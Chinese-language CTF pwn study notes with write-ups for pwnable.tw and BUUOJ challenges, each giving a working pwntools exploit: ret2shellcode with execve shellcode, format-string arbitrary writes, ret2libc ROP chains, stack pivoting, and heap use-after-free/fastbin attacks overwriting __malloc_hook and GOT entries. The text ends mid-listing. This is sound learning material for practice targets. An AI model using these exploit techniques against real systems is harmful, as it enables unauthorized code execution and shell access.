0%

Pwn学习记录

记录一下入门Pwn的心路历程

零碎知识

栈帧结构

只描述方便我自己理解的 不一定标准

1
2
3
4
5
6
7
8
9
high

...
Caller's rbp
(Callee's Registers)
Buf(Local variables)
Return Addr

low

call func指令执行时会先将call指令的下一条指令push入栈 退出函数时保证堆栈平衡即rsp恢复到调用程序前一行的状态 函数结束前通过leave或直接add rsp, xxx来达到堆栈平衡

GEF常用指令

telescope | dereference [register]

递归地解引用某寄存器所含地址

pattern

pattern creat [lenth]

创建长度为lenth的负载 负载的形式可以搭配下一个指令进行栈溢出长度的计算

pattern search [register]

查找创建的负载中哪4/8字节(根据程序的平台)与目标寄存器中的相同 以此可以通过传入$rsp计算栈溢出长度

IDA配合Pwntools进行动态调试

因为正常IDA启动程序无法输入不可打印字符 所以需要配合pwntools发送数据 实现这个功能的具体步骤:

1.用socat进行端口转发

socat TCP-LISTEN:19961,reuseaddr,fork EXEC:./Program_to_debug,pty,raw,echo=0

执行指令后Program_to_debug会立即启动并监听本机19961端口

写一个shell脚本简化一下这个过程:

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

if [ $# -ne 2 ]; then
echo "Usage: $0 <program> <port>"
exit 1
fi

port=$2
path=$1
exec socat TCP-LISTEN:$port,reuseaddr,fork EXEC:$path,pty,raw,echo=0

2.用pwntools附加到程序

Python中导入pwn后使用io = remote('127.0.0.1', 19961)来建立和程序的链接 此时可以使用io.send()来发送数据

3.用IDA附加到程序

Debugger选项卡中选择远端调试->附加到程序就能看到刚刚启用的的待调试程序:

image-20240528130639443

注意事项:

运行程序前要先在想要停下的地方下好断点 运行起来后IDA直接F9运行 这时候程序会运行到第一个输入处 一般在输入后下断点并在Python终端中向程序发送数据 发送完数据后程序就会断在刚刚下好的断点处

image-20240528131047508

image-20240528131106868

刷题记录

Pwnable.tw-Start | stackoverflow | ret2shellcode

题目给的二进制文件很简单 直接用系统调用来输出提示和输入 然后_exit退出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
.text:08048060 54                            push    esp
.text:08048061 68 9D 80 04 08 push offset _exit
.text:08048066 31 C0 xor eax, eax
.text:08048068 31 DB xor ebx, ebx
.text:0804806A 31 C9 xor ecx, ecx
.text:0804806C 31 D2 xor edx, edx
.text:0804806E 68 43 54 46 3A push 3A465443h
.text:08048073 68 74 68 65 20 push 20656874h
.text:08048078 68 61 72 74 20 push 20747261h
.text:0804807D 68 73 20 73 74 push 74732073h
.text:08048082 68 4C 65 74 27 push 2774654Ch
.text:08048087 89 E1 mov ecx, esp ; addr
.text:08048089 B2 14 mov dl, 14h ; len
.text:0804808B B3 01 mov bl, 1 ; fd
.text:0804808D B0 04 mov al, 4
.text:0804808F CD 80 int 80h ; LINUX - sys_write
.text:0804808F
.text:08048091 31 DB xor ebx, ebx
.text:08048093 B2 3C mov dl, 3Ch ; '<'
.text:08048095 B0 03 mov al, 3
.text:08048097 CD 80 int 80h ; LINUX -
.text:08048097
.text:08048099 83 C4 14 add esp, 14h
.text:0804809C C3 retn
.text:0804809C
.text:0804809C _start endp ; sp-analysis failed
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit proc near ; DATA XREF: _start+1↑o
.text:0804809D
.text:0804809D status= dword ptr 4
.text:0804809D
.text:0804809D 5C pop esp
.text:0804809E 31 C0 xor eax, eax
.text:080480A0 40 inc eax
.text:080480A1 CD 80 int 80h

checksec可以看到保护全关 vmmap发现栈可写可执行 用gdb调试一下可以发现有栈溢出image-20240522194534063

并且返回地址距离输入缓冲区起点20bytes 对应ret前的add esp, 0x14 但是一次输入即使修改返回地址也没有现成的漏洞可以利用 所以利用栈可执行来看看能不能ret2shellcode 思路是ret指令执行后esp指向自己当前的地址 这时候再进行系统调用就会泄露esp内容 所以第一个payload可以这样写:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

# context.log_level = 'debug'
context.terminal = ['zsh']
sh = process(["./start"])
gdb.attach(sh)
ret = 0x8048087
payload = b'A' * 20 + p32(ret)
sh.recvuntil(':')
sh.send(payload)
esp = u32(sh.recv(4))

至于send和sendline的区别借用一下这位师傅的讲解 总之sys-read会将\n读到栈上 所以用send

下一步就是返回到shellcode上 从add esp, 0x14 可以知道返回地址还是距离缓冲区起点20bytes 这意味着shellcode长度需要在20bytes以内 可以在这个网站找合适的shellcode或者等以后我能力够了自己写( 所以第二个payload可以这样写:

1
2
3
4
shellcode = b'\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80'
payload = b'A' * 20 + p32(esp + 20) + shellcode
sh.send(payload)
sh.interactive()

最后拿到flag

Pwnable.tw-orw | shellcode

题目描述只能使用open read write系统调用 flag目录在/home/orw/flag 程序没有对输入有任何过滤 对输入的长度也几乎没有限制 可以直接用pwntools的shellcraft构造shellcode 这个网站可以查到linux系统调用约定

查到open第一个参数为文件路径 第二个参数为读写标志位 返回的文件指针按照i86调用约定存放在EAX中 然后再用read读取文件并将其存放到一个缓冲区中 最后用write指定标准输出流为文件指针将缓冲区的内容写到输出流中:

1
2
3
4
5
6
7
8
9
10
from pwn import *

context.terminal = ['zsh', '-c']
sh = remote('chall.pwnable.tw', 10001)
sh.recvuntil(':')
shellcode = shellcraft.i386.linux.open('/home/orw/flag', 0) //以READ_ONLY(0)标志位打开文件
shellcode += shellcraft.i386.linux.read('eax', 'esp', 100) //以esp作为缓冲区指针 读取100字节
shellcode += shellcraft.i386.linux.write(1, 'esp', 100) //1为标准输出流
sh.send(asm(shellcode))
print(sh.recv(100))

BUUOJ-[第五空间2019 决赛]PWN5 | 格式化字符串漏洞

checksec发现开了NXcanary 关闭了随机硬件地址 IDA打开看看主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]

v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &random, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == random )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}

主要流程为用随机数生成器生成一个双字随机数 然后输入两个字符串 输入name后会有回显 输入passwd后与生成的随机数对比 相同的话就能拿到shell

输入的两个字符串都不足以达到栈溢出 而且还开启了canary防护 所以思路从ret2text转向格式化字符串漏洞

image-20240603232924979

随机数是bss段上0x804C044~0x804C047的一个双字内存 因为没有开随机硬件地址 所以可以直接利用%n来修改这个值

格式化字符串漏洞要点(待补充)

printf泄露栈上的内存的原理 以下介绍两个常用的漏洞利用手段

1
2
3
4
5
printf("xxxxx%n", p)        //假设%n前的"xxxxx"长度为 m bytes p是一个有效的指针 那么printf不会输出%n或者p 而是输出"xxxxx"并将 m 赋给*p
//除此之外可以用%hn, %hhn来分别将这个指针转化为(以32位程序为例): (_WORD *), (_BYTE *)
printf("%[Num]$x") //以%x的方式打印栈上"%[A number]$x"这个字符串的地址后的第Num个内存单元储存的内容
//例如printf("%3$x", 0x10, 0x100, 0x200)会输出200
printf("%[Num]c") //输出Num个重复的字符 通常用来配合%n进行AAW

了解了这些基础知识就能利用格式化字符串漏洞来泄露栈中的信息并修改内存 于是第一次发送payload:

1
2
3
4
payload = b'aaaa' + b'--'.join([str(i).encode() + b':%#x' for i in range(1, 0x10)])
sh.recvuntil('name:')
sh.sendline(payload)
print(sh.recvline())

得到回显b'Hello,aaaa1:0xffbec598--2:0x63--3:0--4:0x3e8--5:0x3--6:0xf7fa3c08--7:0xffbec600--8:0xf7fa2ff4--9:0xc--10:0x61616161--11:0x23253a31--12:0x322d2d78--13:0x7823253a--\xf7your passwd:fail\n'

可以看到输入的内容出现在了栈上格式化字符串后第10个内存单元 那么这时候如果输入的是0x804C044~0x804C047 那么从%10$x开始的4个内存单元存放的就是random每字节的地址 将格式化字符串写成%10$n开始的四个内存单元就能根据输入的长度(四个内存连在一起形成的字符串的长度 即0x10)来修改random的值 所以第二次发送payload:

1
2
3
4
5
6
7
payload = p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)
payload += b'%10$n%11$n%12$n%13$n'
sh.recvuntil('name:')
sh.sendline(payload)
sh.recvuntil('passwd:')
sh.sendline(b'269488144') #0x10101010
sh.interactive()

即可get shell

BUUOJ-axb_2019_fmt32 | 格式化字符串漏洞

这题学到了用格式化字符串来进行AAW 直接看主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[257]; // [esp+Fh] [ebp-239h] BYREF
char format[300]; // [esp+110h] [ebp-138h] BYREF
unsigned int v5; // [esp+23Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
puts(
"Hello,I am a computer Repeater updated.\n"
"After a lot of machine learning,I know that the essence of man is a reread machine!");
puts("So I'll answer whatever you say!");
while ( 1 )
{
// alarm(3u);为了方便调试patch掉了
memset(s, 0, sizeof(s));
memset(format, 0, sizeof(format));
printf("Please tell me:");
read(0, s, 0x100u);
sprintf(format, "Repeater:%s\n", s);
if ( strlen(format) > 0x10E )
break;
printf(format);
}
printf("what you input is really long!");
exit(0);
}

main是用exit(0)而非retn退出的 基本上不用考虑ret2了 然后有一个很明显的格式化字符串漏洞 再看看各段的权限:

image-20241114130630164

发现got表有写的权限 可以覆盖掉某个函数劫持got表 再看看调用printf前一刻栈的情况:

image-20241114131138978

格式化字符串下的%8$x就是用户输入的内容的第二位 也就是s[1] 再转到EBP:

image-20241114131412971

这里的返回地址在libc中__libc_start_main+0xf7的位置 可以用来泄露libc

一开始的想法是覆盖掉strlen的got表地址为system的然后当执行strlen(format)时执行的就是system(format) 只要输入;/bin/sh\x00对前面的Repeater:进行截断就能执行/bin/sh来get shell

但是发现只使用%n会因为要输入的内容过长无法一次覆盖掉4字节的strlen_got 而且不能一个字节一个字节分4次来覆盖 因为每次修改后程序都会调用strlen而如果要一次分四字节来覆盖相当于xxx%m$nxxx%m$nxxx%m$nxxx%m$n 需要满足这4个字节在内存中排放是递增的

于是在网上找到了这篇详细描述了如何通过格式化字符串漏洞进行AAW的文章 简单来说以前以为只能通过输入多个字符来进行对某个地址内容的写 现在发现其实可以直接使用%[Num]c来表示重复Num次输出某个字符 而且覆盖的字节数也是可以自己决定的 对于32位程序分别可以用

1
2
3
%n        // 将指针转化为(_DWORD *)
%hn // 将指针转化为(_WORD *)
%hhn // 将指针转化为(_BYTE *)

这样即使要拆分地为某个内存中的字节进行覆盖也不会因为指针类型影响到周围的数据 这样就能利用上面的思路来覆盖strlen的地址了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

elf = ELF("./axb_2019_fmt32")
so = ELF("./libc-2.23.so")
p = remote('node5.buuoj.cn', xxxxx)

start_main_f7 = so.symbols["__libc_start_main"] + 0xf7
strlen_got = elf.got["strlen"]

print(hex(start_main_f7))
p.sendline(b'0x%151$x')
p.recvuntil(b'0x')
libc_base = int(p.recv(8).decode(), 16) - start_main_f7
print(hex(libc_base))
system = libc_base + so.symbols["system"]
# print(f"system:\t{system.to_bytes(4, 'little')}")
n1 = system & 0xffff
n2 = (system >> 16) & 0xffff
print(f"system:\t{hex(system)}\nn1:\t\t{hex(n1)}")
payload = b'A' + p32(strlen_got) + p32(strlen_got + 2)
payload += f"%{n1 - 9 - len(payload)}c".encode()
payload += b"%8$hn"
payload += f"%{n2 - n1}c".encode()
payload += b"%9$hn"
print(payload)
p.sendline(payload)
p.sendline(b';/bin/sh\x00')
p.interactive()

BUUOJ-ciscn_2019_c_1 | ret2libc

程序有两个能输入的地方 encrypt()中有明显的栈溢出:

image-20240613150920256

vmmap查看一下各个段的权限:

image-20240613151130505

没有可写可执行的段 所以思路转向ret2libc 题目没有给对应版本的.so库 所以测试的时候需要连上靶机获取环境

ret2libc构造ROP的思路是用程序本身加载到虚拟内存空间中的libc函数来泄露libc在虚拟内存中的绝对基址 再通过基址获取到加载到虚拟内存中的system()b'\bin\sh'来获取shell或者调用任意libc中的函数

GOT表和PLT表

GOT表记录了程序所使用的外部函数(libc中的函数)在虚拟内存中的绝对地址 只有在程序运行时才能获取每个函数具体的地址

PLT表是由多段用于调用外部函数的代码块组成的 当程序调用其中一段时这段代码会从GOT中获取要调用的外部函数的地址并执行

这个程序中可以先用puts来泄露自己的地址从而获取libc的基址 对64位程序要将puts的地址作为参数调用puts需要将GOT表中的puts地址存放在rdi中(Linux调用约定) 要将栈上的内容赋值给寄存器就要寻找pop rdi;ret的gadget:

image-20240613153801587

同时Ubuntu系统要求程序的栈平衡 ret指令的地址也会在payload中用到

第一段获取libc基址的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sh = remote('node5.buuoj.cn', 25928)
elf = ELF('./chall')

pop_rdi_ret = 0x400c83
ret_addr = 0x4006b9
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']

pading = b'\x00' + b'A' * (0x58 - 1)

payload = pading + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.recvuntil('Input your choice!\n')
sh.sendline(b'1')
sh.recvuntil(b'Input your Plaintext to be encrypted\n')
sh.sendline(payload)
sh.recvuntil('Ciphertext\n')
sh.recvuntil('\n')
leak = sh.recvuntil('\n', drop=True)
puts_libc = u64(leak.ljust(8, b'\x00'))
# print(hex(puts_libc))

第二段用于获取shell的payload:

1
2
3
4
5
6
7
8
9
10
libc = LibcSearcher('puts', puts_libc)
libc_base = puts_libc - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = pading + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
sh.recvuntil('Input your choice!\n')
sh.sendline(b'1')
sh.recvuntil(b'Input your Plaintext to be encrypted\n')
sh.sendline(payload2)
sh.interactive()

由于Ubuntu≥18版本system函数中用到movaps指令要求栈0x10对齐 所以需要保证system函数入口地址存放在原返回地址在栈中的位置的+0x10N bytes位置 用ret指令的地址来填充中间需要填充的位置即可

BUUOJ-[OGeek2019]babyrop | ret2libc

checksec一下开了Full RELRO和NX 那基本上只能考虑ret2libc了

伪代码(原程序去掉了符号表):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void __cdecl __noreturn handler(int a1)
{
puts("Time's up");
exit(1);
}
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]

sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = input(buf);
vuln(v2);
return 0;
}
int __cdecl input(int randbytes)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]

memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", randbytes);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
ssize_t __cdecl vuln(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF

if ( a1 == 0x7F )
return read(0, buf, 0xC8u);
else
return read(0, buf, a1);
}

只有当第一次输入与生成的随机数相同时才有机会进入漏洞函数 但是既然是用strncmp进行比较 那么可以让比较的字节数为0来绕过这层检测并保证进入漏洞函数时获得最大的溢出量:

payload1 = b'\x00\x00\x00\x00\x00\x00\x00\xff'

然后构造泄露libc基址的ROP 这里的思路是利用在handler()中使用了puts这一点来泄露libc 得到libc基址后再回到漏洞函数进行最后一次输入来调用system('/bin/sh') 需要注意的是程序是32位的 参数存放在栈中:

1
2
3
4
5
6
7
8
elf = ELF('./pwn')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_ret = p32(0x8048889)
vuln_func = p32(0x80487D0)

padding = b'A' * 0xE7 + b'B' * 0x4
payload2 = padding + p32(puts_plt) + vuln_func + p32(puts_got) + p32(0xff)

最后一次发送数据的时候因为硬要用LibcSearcher来猜libc版本卡了一会 实际上题目给了libc版本后可以直接用IDA在其中找到puts函数的相对偏移以计算libc 获得systemb'//bin//sh'的地址也是同理直接在libc里面找 据此构造第三个payload:

1
2
3
4
5
6
7
8
9
sh.recvuntil('Correct\n')
puts_addr = u32(sh.recvuntil('\n', drop=True).ljust(4, b'\x00'))
base = puts_addr - 0x5F140
system = base + 0x3A940
binsh = base + 0x15902B

payload3 = padding + p32(system) + main_ret + p32(binsh)
sh.sendline(payload3)
sh.interactive()

BUUOJ-ciscn_2019_ne_5 | 简单canary

只开了NX防护 基本不用考虑ret2shellcode了 主函数没有找到可以操作的部分 直接看漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl AddLog(char *src)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", src);
}

int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
char v3[60]; // [esp+4h] [ebp-44h] BYREF

*dest = 48;
memset(v3, 0, sizeof(v3));
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}

dest字符串在栈上 所以src超过dest长度的部分会被复制在栈上导致栈溢出 这里构造ROP的思路是直接利用程序中用到的system()配合字符串fflush后两个字符sh来get shell 但是实操的时候发现如果要利用栈溢出漏洞的话会覆盖一个只在主函数开头初始化的表头指针(ebx)

image-20240708103555476

如果被无法解引用的4bytes数据覆盖的话程序会直接在puts()就报错然后停止 而表头的地址是0x804A000 用来构造payload的scanf函数会在空格(\x20), 换行(\x0A), 字符串结束符(\x00)处停止输入 无法做到不更改保存ebx栈空间的栈溢出 所以这里返回地址不能选为调用getflag()的下一行的地址 而是exit()

构造如下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
elf = ELF('./pwn')

system_got = p32(elf.got['system'])
system_plt = p32(elf.plt['system'])
exit_plt = p32(elf.plt['exit'])
padding = b'A' * 0x4C
binsh = p32(0x80482EA)

payload = padding + system_plt+ exit_plt + binsh + p32(0)
sh.sendline(b'administrator\x00')
recvpromt(sh)
sh.sendline(b'1')
sh.recvuntil('info:')
sh.sendline(payload)

recvpromt(sh)
sh.sendline(b'4')
sh.recvline()
sh.interactive()

一些迷思

一开始尝试过使用ret2libc的方法在libc中寻找/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sh.sendline(b'administrator\x00')
recvpromt(sh)
sh.sendline(b'1')
padding = b'A' * 0x4C
payload1 = padding + puts_plt + ret_main + system_got + exit_plt + main_arg + p32(0)
sh.recvuntil('info:')
sh.sendline(payload1)

recvpromt(sh)
sh.sendline(b'4')
print(sh.recvline())
line = sh.recvline()
print(line)
system_addr = u32(line[-5:-1])
libc = LibcSearcher('system', system_addr)
libc_base = system_addr - libc.dump('system')

binsh = libc_base + libc.dump('str_bin_sh')

结果puts输出的内容是image-20240708113408269

显然不止输出了system的地址 目前还没搞懂为什么 希望以后能搞明白

23/7/16

貌似是因为got表不一定直接跳转到内存中的库函数 前面还有一些指令

BUUOJ-ciscn_2019_es_2 | 栈迁移

只开了NX 基本上不用考虑执行shellcode了 直接看漏洞函数:

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

溢出的部分最多只到Caller’s EBP和Retaddr 就算原程序加载了system()也不够传入参数 为了扩展可用的栈空间就要用到栈迁移技术

栈迁移

函数返回时执行的leave和ret指令实际上是几个指令的集合

1
2
3
leave _ mov esp,ebp
|_ pop ebp
ret _ pop eip

ebp是用于存放调用者ebp的地址的锚点 而从leave指令实际的两条指令可以看出 ebp和esp是完全可以互相影响的 从而eip也能被ebp控制以达到掌握控制流的目的:EBP <--> ESP --> EIP

以这一题为例子 用缓冲区首地址buf_addr - 4覆盖Caller’s EBP 再用leave指令的地址覆盖返回地址 这样再次执行leave时esp就会被新锚点骗到缓冲区上 再执行ret时就会将缓冲区上的目标地址送入eip 相当于平时的栈溢出的部分扩展到缓冲区的部分 实现栈迁移

而要实现栈迁移到新的栈地址上最少需要一次泄露栈地址 这题刚好提供了printf()和两次输入

计算出Caller’s ebp的地址距离buf_addr - 4的字节数后就能构造如下的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

elf = ELF('./ciscn_2019_es_2')
system = p32(elf.plt['system'])
bin_sh = b'/bin/sh\x00'
leav_ret = p32(0x80485FC)

sh.send(b'A' * 0x28)
msg = sh.recvuntil(b'\xff')
print(msg)
ebp = u32(msg[-4:]) - 0x3C
print(hex(ebp))
binsh_addr = ebp + 0x10

payload = system + b'AAAA' + p32(binsh_addr) + bin_sh
payload += b'A' * (0x28 - len(payload)) + p32(ebp) + leav_ret

sh.send(payload)
sh.interactive()

BUUOJ-babyheap_0ctf_2017 | 堆溢出 | Use after free

前置知识 : https://wiki.wgpsec.org/knowledge/ctf/basicheap.html

直接看主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 *chunks; // [rsp+8h] [rbp-8h]

chunks = (__int64 *)sub_56219BC00B70();
while ( 1 )
{
menu();
switch ( get_num() )
{
case 1LL:
alloc(chunks);
break;
case 2LL:
fill(chunks);
break;
case 3LL:
free_0(chunks);
break;
case 4LL:
dump(chunks);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}

根据输入进行操作

1
2
3
4
5
1 - 申请一个堆 记录在程序自己的结构体chunks中 chunks中记录chunks是否在使用, Size, Chunk
2 - 选择一个chunk编辑其data区域
此处存在堆溢出 编辑一个chunk的数据时没有检测大小 可以修改下一个chunk的数据
3 - 释放一个chunk
3 - 根据chunks中的Size显示一个chunk的数据

这里可以使用第n个chunk编辑第n+1个chunk的header来让其size足够覆盖第n+2个chunk 当第n+2个chunk被释放进unsorted bin时通过n+1来显示n+2中储存的fdbk的值 因为unsorted bin中只有它一个chunk, fdbk都指向main_arena + offset 据此可以泄露libc的基址 然后再通过构造fake chunk来进行任意地址写 覆盖__malloc_hook指针 使其变为我们找到的one gadget 此时再申请堆时就会触发原本应该触发__malloc_hook的one gadget

具体思路

先使用工具找到后面要用的main_arena在libc中的地址:

image-20241015202428887

再用另一个工具找到libc中存在的one gadget:

image-20241015203101596

覆盖chunk1的header

1
2
3
4
5
alloc(0x10) # 0
alloc(0x10) # 1
alloc(0x80) # 2
alloc(0x10) # 3
fill(0, p64(0) * 3 + p64(0xB1))

修改掉chunk1的header中的size字段并释放chunk1后 下次再分配0xA0(+ 0x10(header长度) | 1(P标志位) == 0xB1)大小的chunk时会因为检测到fast bin中有对应大小的chunk而直接分配到原来chunk1的位置

这里创建chunk3的目的是防止chunk2在后续释放时直接被划入top chunk

使用覆盖chunk2的chunk1泄露libc base

1
2
3
4
5
6
alloc(0xA0) # 1
fill(1, b'A' * 3 * 8 + p64(0x91))
free(2)
data = dump(1)
base = int.from_bytes(data[:data.index(b'\x7f') + 1][-6:], 'little') - (main_arena + 0x58)
print(f"libc_base = {hex(base)}")

这里对chunk1进行编辑并且覆盖chunk2的原因是程序calloc()分配chunk会初始化data为{0}需要修复chunk2的chunk header

覆盖chunk2的fd字段伪造fake chunk

1
2
3
4
5
6
one_gadget = base + one[1]
malloc_hook = base + so.symbols['__malloc_hook']
fkfd = malloc_hook - 0x23
alloc(0x60) # 2
free(2)
fill(1, b'B' * 3 * 8 + p64(0x71) + p64(fkfd))

覆盖前:

(0x60 bytes)Fast bin -> chunk2

覆盖后:

(0x60 bytes)Fast bin -> chunk2 -> fake chunk

再申请两个size均为0x60的chunk就能获取到对fake chunk 也就是__malloc_hook所在内存区域进行写的能力了

这里fake fd选择在 - 0x23偏移的原因是fastbin在分配chunk的时候会检测chunk的P标志位 而 - 0x23位置对应的chunk P标志位所在字节是b’\x7f’ 最低位是1 符合了fastbin分配chunk的条件

覆盖__malloc_hook

1
2
3
4
alloc(0x60) # 2
alloc(0x60) # 4
fill(4, b'C' * 0x13 + p64(one_gadget))
alloc(0x10) # 5

申请chunk5时程序就会调用原本应该是__malloc_hook的one gadget达成get shell

BUUOJ-inndy_rop | 静态编译pwn

如果拿到的二进制文件是静态编译出来的 基本上不可能应用ret2libc 因为libc就在程序的.text段中 一些能够get shell的函数肯定也会被修改从而不能使用 这时候就需要利用其他的风险函数尝试ret2sehllcode 通常这个风险函数是mmap()或者mprotec()

以下是这两个函数分别用来申请可执行内存的方法

1
2
3
4
5
6
#define PROT_READ       0x1
#define PROT_WRITE 0x2
#define PROT_EXEC 0x4
#define PROT_NONE 0x0
mmap(shellcode_addr, 0x1000uLL, PROT_READ | PROT_WRITE | PROT_EXEC, 34, -1, 0LL)
mprotect(shellcode_addr, page_size, PROT_READ | PROT_WRITE | PROT_EXEC)

这题只限制了system() 直接给出了溢出点 没有其他限制:

1
2
3
4
5
6
_BYTE *overflow()
{
_BYTE v1[12]; // [esp+Ch] [ebp-Ch] BYREF

return gets(v1);
}

思路就是申请一块可写可执行的内存然后read()写入shellcode再ret2shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

elf = ELF('./rop')
p = remote('node5.buuoj.cn', 26480)
# p = remote('127.0.0.1', 20000)
context(arch='i386', os='linux')
mmap_addr = elf.symbols['mmap']
overflow = elf.symbols['overflow']
read_addr = elf.symbols['read']

sehllcode_addr = p32(0xCCBB000)
lenth = p32(0x1000)
prot = p32(7)
flags = p32(0x22)
fd = p32(0xffffffff)
offset = p32(0)

padding = (0xc + 4) * b'A'
payload1 = padding + p32(mmap_addr) + p32(overflow) + sehllcode_addr + lenth + prot + flags + fd + offset
p.sendline(payload1)
shellcode = asm(shellcraft.sh())
payload2 = padding + p32(read_addr) + sehllcode_addr + p32(0) + sehllcode_addr + p32(len(shellcode))
p.sendline(payload2)
p.sendline(shellcode)
p.interactive()

BUUOJ-[ZJCTF 2019]EasyHeap | Fastbin Attack

和上一个堆题的知识点基本上一样 甚至可以说更简单 但是还是学到了新东西所以记录一下

查看段的权限:

image-20241027223027361

发现got表可写

主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 0x1305 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}

其中有一个后门函数

1
2
3
4
int l33t()
{
return system("cat /home/pwn/flag");
}

创建和删除堆都是正常的 只有编辑堆和上一个堆题一样存在Use after free的堆溢出 这里一开始的想法是选择在全局变量magic前面某处为fkfd然后覆盖掉一个unsortedbin中的chunk的fd这样在下次申请一个size >= 0x80的chunk时就可以编辑magic 发现这样做只后不用编辑magic它也会被申请的chunk中的fd和bk给覆盖从而可以执行后门函数 但是执行后会发现flag不在那个目录下

回想起got表可写 又有了这样的思路: 将got表里的free覆盖成后门提供的system函数 执行free时就会执行系统调用 将要释放的堆块内容编辑为/bin/sh就能get shell 这里为了方便写入可以先利用fastbin attack进行任意内存读写覆盖题目中存放申请到的堆块的heaparray数组 然后直接用编辑函数来进行任意内存读写 gdb一下发现heaparray上不远处就有能够申请fastbin的位置:image-20241028143737187

用上一题的思路就能将system写入got表中的free了 做这题发现了fastbin申请的另一个限制 即要申请的地址对应的header中size字段要符合申请的大小 这里0x7f就要对应0x60 不然会申请失败:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
